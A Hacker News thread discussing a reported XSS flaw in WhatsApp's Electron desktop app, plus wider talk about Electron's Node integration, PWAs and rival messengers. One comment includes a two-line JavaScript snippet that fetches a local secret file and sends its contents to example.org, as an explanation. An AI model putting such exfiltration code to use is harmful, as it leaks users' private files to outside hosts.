I found a WhatsApp security flaw that allowed hackers to read the file system | Hacker News Reader

I found a WhatsApp security flaw that allowed hackers to read the file system

perimeterx.com

555 pointsccmpx129 comments

> If you're going to use Electron, you HAVE to make sure it is updated with each update of Chromium.

I never really thought about this, but in retrospect, this is so blindingly obvious, and is almost certainly a potential exploit vector to a wide range of electron-based apps.

The big problem with Electron isn't that it forces you to keep up with Chrome, although that's important too, but rather that it links Node.js with content-controlled Javascript, so that DOM corruption vulnerabilities can be leveraged for RCE, even in the absence of a Chrome vulnerability. Most Electron RCEs that you've read about had nothing to do with Chromium.

There's a whole process for evaluating and auditing Electron applications, which is harder to do than auditing (for instance) a native mobile application or, probably, even a native desktop application.

> rather that it links Node.js with content-controlled Javascript, so that DOM corruption vulnerabilities can be leveraged for RCE, even in the absence of a Chrome vulnerability

Can you explain this further? How is it different than a web-app with a NodeJS backend?

Imagine you’re writing Javascript code on a webpage. You write `const fs = require(‘fs’)`. It throws an error because the browser has no idea what “require” or “fs” are.

In electron, you can configure your page to be interlinked with node, so that you could write `const fs = require(‘fs’)` and import the Node filesystem module. This is a big feature of Electron, but it also opens you up to a whole host of vulnerabilities.

For instance, you are never supposed to spin up a WebView like this and then just load random URLs (this is emphasized in the docs when they’re explaining how to do this). However, if you did, untrusted code on a random webpage would have access to the user’s filesystem.

[Edit now that I'm back on my laptop]: Here's the section of the docs that covers this security concern: https://www.electronjs.org/docs/tutorial/security#isolation-...

> Under no circumstances should you load and execute remote code with Node.js integration enabled. Instead, use only local files (packaged together with your application) to execute Node.js code. To display remote content, use the <webview> tag or BrowserView, make sure to disable the nodeIntegration and enable contextIsolation

In electron the UI javascript is running in a separate process than the node javascript. They can communicate through Electron's IPC channel.

I wouldn't be too surprised if it could be exploited, but it's not as easy as require('fs'). Instead you have to send messages through the pipe and you'd have to know how to exploit the handlers at the other end in the NodeJs process.

https://www.electronjs.org/docs/api/ipc-main

I was on a phone before and didn't have the docs pulled up, but the thing I was referring to is called nodeIntegration (it's a boolean you set in the webPreferences object in the options object you pass to the BrowserWindow constructor).

This section of the docs explains it a bit better: https://www.electronjs.org/docs/tutorial/application-archite...

> Electron exposes full access to Node.js both in the main and the renderer process.

TIL, thanks.

Why would they need a node process? Are there things an Electron app needs to do that isn’t possible from the Chrome runtime? And more importantly, why would they need to directly link with the DOM?

Sorry I am not very familiar with Electron.

Well, one very simple example is access to filesystem. You can't do that from Chrome but can from node. In this particular case for example WhatsApp could have a cache of the images and videos attached to a conversation, without having to obey the limits of local databases imposed by PWAs.

The way I author my Electron apps to avoid this is to have a HTTP/Websocket server spin up at a random port, and then use that process to open an Electron window, with Node integration disabled.

This then becomes exactly the same as writing a web app, with anything that cannot be done by the renderer (Ex: file access) being done by the 'server'. Always wondered why this was not an officially strictly recommended way of doing this.

Correct me if I misread. You're leaving ports open on a customer machine, which has its own potential for security issues, even if you bind to localhost.

Wasn't there a Mac app that recently got a lot of flack for this?

IIRC the app you're talking about is Zoom's mac client.

Yes that's correct. And AFAIK the consequence was that any browser tab capable of running javascript could make HTTP requests to localhost and access the webcam.

Electron comes with a renderer/server architecture out of the box?

https://www.electronjs.org/docs/tutorial/application-archite...

It does, but:

> Electron exposes full access to Node.js both in the main and the renderer process.

Latency. The electron IPC is way faster than using web sockets and the ability to have node modules in the renderer makes some task actually feasible. I've worked on apps that were quite possible to do with electron but were completely out of question in more classic environments like Cordova or in Android/iOS web views.

Just remember that authentication and origin checking is completely up to the websocket server. Any random page in a browser can talk to your websocket cross origin, and it's up to your server to check the "Origin" header to make sure it's actually your app on the other end.

Yes and no. Recently browsers started assuming that a response without CORS headers it unsafe unless from the same origin. So even though you can make a request if it fails preflight it will not even reach your server.

You can try this by opening a console on any webpage and trying to do fetch requests or add img tags to the page that are loading resources from localhost.

If you base it origin couldn't that have false positives too? Like say other, less privileged apps?

Just in case, you may want to listen on localhost and use MTLS or TLS+preregistration between the client and the server.

Or just use unix domain sockets and named pipes, and then you don't have users complaining that you've used some random port that they want to use for some reason.

But really for stuff like file system access just use the node APIs, don't shuffle this stuff through any hand rolled IPC.

Because not everyone is making an app that talks to the internet with Electron.

> without having to obey the limits of local databases imposed by PWAs

If you're shipping your own Chromium, shouldn't it be trivial to remove those limits?

Wait, are you telling me there are TWO javascript engines in a typical Electron app?

ermagerd

Since bridging Node.js with the DOM is basically the whole point of Electron, it's a little tough for me to answer this question. Yes, there are things Electron apps need to do that you can't do from standard Chrome.

That obviously depends on what your Electron app wants to do.

Let's say you're writing an IDE in it. How would you invoke compilers & debuggers, cache filesystem/type information, state, etc. without breaking out of the browser sandbox somehow?

Can you imagine reading this comment 100 years ago?

They would be amazed, as this sounds like incredibly advanced technology, and maybe disappointed when they find it was all about imaginary objects in an interactive projector.

John Titor would be proud.

His predictions are correct, or at least they were until he made them.

How about reading it the day Node.js was first released.

It sure is. This is why Chrome apps and progressive web apps are great - they share the Chrome runtime and inherit its hardening, security properties and updates.

Many Electron apps should just be a PWA instead, and many actually are. Why would I want to install a desktop app for WhatsApp? It runs just fine in Chrome, and using More Tools -> Create shortcut..., you can even create a launcher entry that will launch the page in its own window.

Because of inability of PWA to write local files at desired locations (you can at best download a file), PWA's usefulness is limited as a desktop app replacement technology. The moment you allow rw local file access you are off to a security-fun-land.

I beg to disagree :-)

I’ve worked on the Native File System API on Chrome.

It’s available through Origin Trial at the moment.

That said, Web apps can currently emulate reading files and writing to disk.

Take a look at this library, which also works as a poly fill:

https://github.com/tomayac/browser-nativefs

IIRC there was a feud between Chrome developers who wanted raw file access and Firefox ones who didn't want it. W3C sided with FF, so we can't build proper desktop apps using PWA, even if WASM makes them quite fast these days. Now Chrome devs resuscitated the attempt with NFS API, so I'll grab my popcorn and watch their interaction one more time...

W3C or WHATWG?

https://github.com/w3c/filesystem-api/issues/8

️ Note that this repo has now been moved to https://github.com/GoogleChromeLabs/browser-nativefs.

Right, but this is a small minority of applications.

I strongly strongly disagree!

The vast majority of the work I do can be done off-line with files stored on disk, minus stuff that obviously needs connectivity (e.g. Slack). Writing text, writing code, reading/editing documents and spreadsheets, doing CAD (mechanical and electronics), etc. During the week I live in the city, but on weekends and occasionally for longer stretches of time I like to head out to our rural house for peace and quiet (and focused work). Over time, the number of applications that ought to work off-line has been slowly shrinking, whether it's because they insist on using cloud storage instead of local storage, or licensing checks, or whatever. It's really really disappointing, and I would personally be delighted if I could get work done without an Internet connection.

You can design a PWA that works offline with local files on disk already, by using the browser's file select dialogs. It's not necessary to give the app arbitrary access to the whole filesystem to get that functionality, which is what the parent is asking for.

No, you can't. You can open local files but not save them to desired locations, only download them as usual browser files. There are polyfills that mostly don't work; each browser has a different broken API for local file access and methods are often deprecated/removed.

Your browser provides its own UI for choosing the location to save downloaded files. This might not be ideal if you want to build your own file manager view into your app, but I don't think it's fair to say that your app is less capable just because it doesn't have that.

An example - you are using some web IDE (imagine a self-hosted version of VSCode). You have a few local files open in your browser, editing the code. Now you want to save them - you'd have to "redownload" them to save them. That's a highly suboptimal UX.

If you are actively working on the files, then you could just save them to the app's local storage. There is not necessarily a need to save them back to the same place you imported them from. When you are ready to export the project then you could have the app generate a zip file, or just push it directly to git or another app and skip the filesystem altogether.

Obviously this is not a great workflow for certain things like system administration tools that are specifically designed to work with the local machine's filesystem, but that's not really a good use case for PWAs in the first place.

Local storage is obviously not an option - imagine your project has a few gigabytes. Coding example was just to illustrate the problem quickly for everybody to understand what the issue is.

Forcing user to generate/download ZIP at some well-defined points in time is a horrible UX idea; in addition it leads to desynced content of files and local storage. Browser's local storage can also disappear if SQLite gets corrupted, making it a nice SPOF for all PWAs that are installed. Imagine not losing data just for one app, but for all of them.

I'm genuinely not all that familiar with what PWAs can and can't do... Would a, for example, Word-like PWA be able to both load and save files to disk?

Just like any web app, it would be able to read specific files of a user's choosing using an HTML "file" input, and it would be able to save files by initiating a download. The app would not be able to provide its own UI for selecting the file to open/save but rather it would have to rely on the browser's UI for doing those things.

As an example, if I were using a PWA-based schematic editor, I couldn't just hit Cmd-S and save it back to disk without having to choose the download location etc every time?

You would have to do that, unless you are willing to only save the data in the app's storage itself while you're working on it. Similar to the model typically used with mobile apps, for example.

On my Chromebook, I use editor "Caret" which can save back to the original file location (e.g., SD card).

Chrome has a proprietary extension for that. Firefox won't be able to do the same.

How do I build installer for Chrome PWA? Like if user does not have Chrome, it should install it. Also i don't want to bother user with that implicitly installed chrome, so it should not add shortcuts, etc and just live as an app launcher.

Turns out a PWA works in Firefox too [1] so I'm not sure it's entirely necessary to force a user to install a browser just for your app. Edge is/will be chromium, so I guess Safari is the only major browser to worry about?

[1] https://blog.mozilla.org/firefox/progressive-web-apps-whats-...

IMO you shouldn't have to make an installer, it should be the browser's job to expose the feature and integrate itself to the OS as natively as possible.

Don't bundle Chrome, just let the user use whatever browser they prefer. AFAIK Edge also supports PWAs, but not Firefox Desktop yet.

Because my Chrome already takes 6GB of memory and thus needs to be restarted once in a while. If those forces me to close apps I want to continue using then that will annoy me.

This needs to be distributable by the website... also with caching guarantees, desktop capture support (which I think is there now, but wasn't till just recently) etc.

Wonder if this exploit worked with the Mac App Store version of WhatsApp and the extra sandboxing layer(?) that whole ecosystem provides.

Out of sheer hope and ignorant superstition about the wonders of sandboxing, I tend to install the App Store versions of crap like WhatsApp and Slack whenever possible.

It would likely work for whatever directories you had granted it access to — otherwise, the situation is similar to that of iOS where the most an app has access to is its own container.

Good reason to not give apps full disk access unless they really, really need it even if it’s more convenient to do so.

This is what Carlo[1] was made to solve.

1. https://github.com/GoogleChromeLabs/carlo

With rich preview, you have three choices:

Preview is generated on sender side, preview is generated on client side or preview is generated on some server.

On a "secure" system as Whatsapp is advertised as, you'll notice only the second choice is "secure" and possible, since otherwise you'll disclose both your IP and lots of other things, like location (from IP).

It's easy to under appreciate the amount of infrastructure work involved in deploying a production electron app to customers. Auto-updates, code signing, installers etc...

I'm working on a startup to help solve some of this: https://www.todesktop.com

Feedback appreciated :)

I think it is a good idea to containerize all electron apps, and run them only in containers. It is because reducing the surface area of your code to the system will reduce vulnerabilities of your code.

Skype, Slack and WhatsApp are using 250MB each on my machine to do something that was already possible on my 64MB RAM machine 20 years ago. And on top of that they're running one of the easiest hackable runtimes ever. Sure it's fun to mess a bit with a website and remove nag screens here and there but for an application that is expected to have a trusted encryption system it's just ridiculous.

I hope the pendulum swings back again and we'll see companies start to use cross-platform Rust libraries in some kind of way. I can't imagine you can't reuse 80% of the code that powers those applications in any other way than using some kind of Javascript engine. And perhaps we can just compile it to web using webassembly?

I'm strongly opposed to apps that are just wrappers for web services. I don't need a wrapper when i could just open a browser i trust patches their vulnerabilities (nod to Firefox). Every electron app eats so much RAM, it's stupid. And in the end, I'm just using a browser making API calls, why do i need the wrapper?

The thing is that it’s just not a browser making API calls. The wrapper is so that you have access to lower level APIs, like access to the filesystem. This gives the Electron app more power than a browser.

I thought so as well - up until yesterday when I tried desktop version of Microsoft Outlook. Such an awful experience. Just trying to pick an available meeting room was surprisingly more difficult than on the modern web. And I can hardly see how even Microsoft could bring the web experience to desktop in the future without somehow leveraging the existing online version.

> I tried desktop version of Microsoft Outlook. Such an awful experience. Just trying to pick an available meeting room was surprisingly more difficult than on the modern web.

That has nothing to do with Electron. You can totally bork an UI on the "modern web", too. There's nothing stopping the Outlook team from porting the old room picking interface to the web version.

I've only used the Outlook web app as a fallback (at $work it used to be available using 2FA, and I'd use it if I needed to check my email real quick but didn't have my laptop -- and, thus, "real" Outlook -- with me) so maybe it's an exception. But most of the time I really wish people would stop trying to bring the web experience to desktop :).

The desktop version being awful (as is just a lot of stuff MS makes) is no excuse here tho. It can be done better and there's no inherent thing to either implementation that prevents it.

He didn't really demonstrate how "hackers" could read the file system, right? The screenshot of etc/hosts is on the same computer where that hosts file lives.

> There are more than 5 different 1-day RCEs in Chromium 69 or higher, you just need to find a published one and use it through the persistent XSS found earlier and BAM: Remote Code Execution ACHIEVED!

> I did not take the time to actually exploit a public RCE

The XSS vulnerability is serious and looks fully deserving of a bug bounty. Likewise, using an old version of Electron is asking for trouble. But for me this PoC should include the extra step of "just" exploiting one of the RCE holes he's sure must exist.

> He didn't really demonstrate how "hackers" could read the file system, right? The screenshot of etc/hosts is on the same computer where that hosts file lives.

If you can fetch arbitrary URLs, and the contents of local files, you can trivially exfiltrate the latter with the former. Just fetch the local file, then fetch an URL that encodes the contents of the local file.

    var text = fetch("/local/secret/file");
    fetch("https://example.org/"+encode(text));

Yes, that's right of course, I had missed that he almost certainly can request arbitrary remote URLs.

> He didn't really demonstrate how "hackers" could read the file system, right? The screenshot of etc/hosts is on the same computer where that hosts file lives.

Are you saying he could alert it but not exfiltrate it?

Is there a good way to identify all Electron apps installed on my computer?

(macOS) Use this command to list all applications with Electron as a dependency:

  ls -1d -- /Applications/*.app/Contents/Frameworks/Electron\ Framework.framework

(linux) You can also search for any folder called "app.asar" or "app.asar.unpacked"

(windows) You can also reverse the process used to package an app: https://www.electronjs.org/docs/tutorial/application-distrib...

Guess this is typical for a lot of us:

/Applications/Discord.app/Contents/Frameworks/Electron Framework.framework /Applications/Etcher.app/Contents/Frameworks/Electron Framework.framework /Applications/Twitch.app/Contents/Frameworks/Electron Framework.framework

DueFocus.app Keybase.app Marp.app Mullvad VPN.app Postman.app Skype.app Slack.app Visual Studio Code.app WhatsApp.app

Is the application bundle > 100MB for no reason? If so, it's electron.

Very nice work! Also curious what kind of bounty was paid out for this.

The article originally said that he received a $12,500 bounty for it, but it looks like that's been removed now (maybe you're not supposed to say).

You can still see it at both the top and bottom of this archived copy: https://web.archive.org/web/20200204164053/http://www.perime...

half of Jeff Bezos' net worth.

Important to note that this flaw only affects the desktop version of WhatsApp. Which is not what Bezos was using.

There was (is?) obviously an issue with mobile WhatsApp and local file access (perhaps different in nature to desktop one) and the joke was just too good.

yeah but the joke was good so I went with it

Wonder what other electron apps have issues like this, or at least did until they quickly updated their electron version.

Just checked my discord client right now and it's using Chrome 69 through Electron 4.0.8. Haven't had a chance to check a desktop version of Slack yet.

I'm a heavy WhatsApp user and I feel like WhatsApp has gone downhill ever since Facebook took over. Performance is down significantly, I experience a lot more visible bugs, more and more exploits are being revealed about seemingly trivial components (file encryption, browser XSS), and useless features are beeing added. Its not like WhatsApp Inc. was flawless before they got acquired, but at least it worked well and most of the developers actually wanted to make a great chat app.

Its just a matter of time before Facebook merges WhatsApp with its Messenger (and keep either of those names).

heavy WhatsApp user here as well, and I have the total opposite experience, WhatsApp has greatly improved since then. End-to-end encryption, group chats and voice are all working really well right now.

I honestly don't understand how anyone can trust end-to-end provided by Facebook. How do you know it's "working really well"?

1. I know the people working on this and they really care.

2. It would be a pretty big fiasco if they lied on e2e encryption. You can assume that people are actively and periodically reverse engineering their mobile apps, so this would surface at some point or another.

>End-to-end encryption

I believe you mean End-to-end-to-end encryption

Good one :D

Signal and Telegram are both solid alternatives built around different security models. When I get a notification in Messenger, Instagram, etc., I simply reply back with my contact info for those apps. Telegram gives you a vanity URL using your username, which is pretty cool.

Yes I am using Signal. It's just that most people around me are not on Signal. Trying to convince them to switch is useless (although I try). WhatsApp is not my first choice either.

Tell them no.

My perspective is, pick one of the many overlapping channels we already share or don't bother me. I am not signing up to yet another spyware-of-the-month app in order to chase your fashion sense.

Whatsapp has been the default choice for 10 years. From other people's pov, Signal and Telegram are the 'fashion' apps.

They would say the same of you, from their perspective. It's like someone asking you for your Twitter and you replying that you only use Mastodon.

If I only used Mastodon or some other low-user-count service, you would have a point. Instead, what I said was,

> pick one of the many overlapping channels we already share

True. I think I was somewhat conflating your post with the parent's.

It's a trade off. In some cases not installing the messaging app du jour means being left out of group chats. If that's ok with you, then by all means, allow yourself to be excluded. But that's not ok with everyone.

I plainly tell them to e-mail me or contact me via Wire or Signal.

Maybe this whole Bezos affair would convince them it's insecure spyware from yours truly Facebook and their friends in the UAE? I think not.

People often say this, but I wonder if they've actually used those apps. For example Signal, try to back up your chat history. The hoops you have to jump through are not feasible for non-technical users. There were many more relatively small issues like this (I tried switching 6 months ago) but I forgot most.

For a basic 'send text message from user A to user B' app, there are lots of options. Something that is as convenient as Whatsapp though - there are none.

Signal prioritizes security over usability. Part of security is limiting the number of copies of data you have floating around as part of reducing the attack surface. Backups of chats, particularly if they're plaintext, represent an extremely juicy targets for attackers.

Wouldn't they have to offer a WhatsApp or Threema Web style webclient for that?

With encrypted iTunes-backups an almost trivial way of moving your data exist at least for iOS.

I've been using Telegram for something like 5 years now. I'm curious, what's the problem with it?

I've used both substantially, Telegram for the past 2-3 years, Signal since it was Textsecure.

The primary concern is that messages in Telegram aren't encrypted by default. But that's been the case for a lot of messengers and tbh for large groups privacy really can't be assumed on any E2E solution. (yes, technically but practically it wouldn't be the case)

The Telegram creators are also extremely cocky and the encryption they do use is non-standard and done mostly in-house. It backfired on them a little with MTProto which they've fixed in v2, but it doesn't make cryptographers confident.

Signal and Telegram have wildly different philosophies on what it means to be secure. Telegram refuses to implement E2E on desktop clients citing it being too large of an attack surface (I am inclined to agree with them). They emphasize ephemerality of conversations in a way Signal doesn't do (E2E chats in Telegram and frequently brought up and torn down, Signal instead just has self-destructing messages).

Finally, look at the creators' motivations. Moxie is having to sell double-ratchet stuff to the likes of Facebook and relies on Amazon and Google to run the service. Pavel is several orders of magnitude more rich, has been outspoken against Putin, and can afford to fund anything he needs done on Telegram. I'm not claiming either is more trustworthy, but motivations are radically different.

Security aside, Telegram is just so much more pleasant to use, and I think that’s what wins users over more effectively than probably anything except network effects.

Usability on Telegram is fantastic in how it syncs messages between devices and allows editing/deleting them. I see its security as good enough for my risk model, which is primarily keeping my chats out of the hands of Facebook, Google, and other predatory tech giants with a history of playing fast and loose with user data.

Telegram says they don't backup secret chats.

Remove cloud backups from telegram and it's instantly less valuable for me.

I just changed phones - different operating systems. If it were WhatsApp, my chats would be gone.

Telegram keeps years of my chat history without becoming slow like WhatsApp would have been.

The Signal desktop app is also Electron, isn't it?

Correct, as of a few years ago. Previously, it used to be a Chrome app (I think NaCL crap?)

Yes. There's a good reason for running it in a container.

How are Signal and Telegram for group chats?

Has anything gone Uphill since Facebook got involved in it?

To be fair, I think Instagram and Oculus have both done well under FB.

I'm guessing from this comment you don't own a Rift.

The driver software has been completely taken over by Facebook's nakedly nefarious motivations. It's not even just spyware, or even malware; the term I would coin for it is "fuck-you-ware". Want to play the game you bought last year, on the headset you bought two years ago? Fuck you! Make an account first. We changed the rules and updated the software without asking you and now all your data are belong to us...

Instagram added some Snapchat features and monetization. I don't think the overall experience has changed much.

Does anyone know if this was the vulnerability used to hack into Bezos' phone?

wow, testing for `alert()` in a javascript environment is like the first thing you learn. Feels bad for whatsapp engineers :/

These flaws are such basic security 101 issues, I hate to think how many more better hidden issues exist.

Someone should create a nice little canary.js that reports on alert() etc being called by setting window.alert = function honeypotFunction(){…};. Although perhaps the noise from extensions and users would make the signal too useless outside of electron.

TLDR: 1. Altering the text of someone else’s reply. 2. Altering banner image of someone else's reply containing links. 3,4,5. Good.

i'm starting to think that Durov was right after all...

This is probably how the Saudi's got the data off Jeff's phone...

You think Bezos was running the desktop/Electron app on his phone?

He could have used the OSX desktop app. But the Bezos thing seems to be unrelated (as far as I can tell).

How come that WhatsApp has so many security flaws recently and Signal isn't affected? This cannot be coincidence right? Signal has less people working on it, no massive corporation behind the product, more people as smart as Moxie working on it. I don't believe these flaws are just bugs... Right?

What is the basis of the assertion that "Signal isn't affected"? Do you track CVEs for Signal?

Signal has a team of people behind it whose main focus is security and privacy. Of course everyone makes security mistakes, but I'd expect the Signal team to make fewer of them.

In this case, I would say the fewer people working on Signal is a strength, not a weakness.

Reply on news.ycombinator.com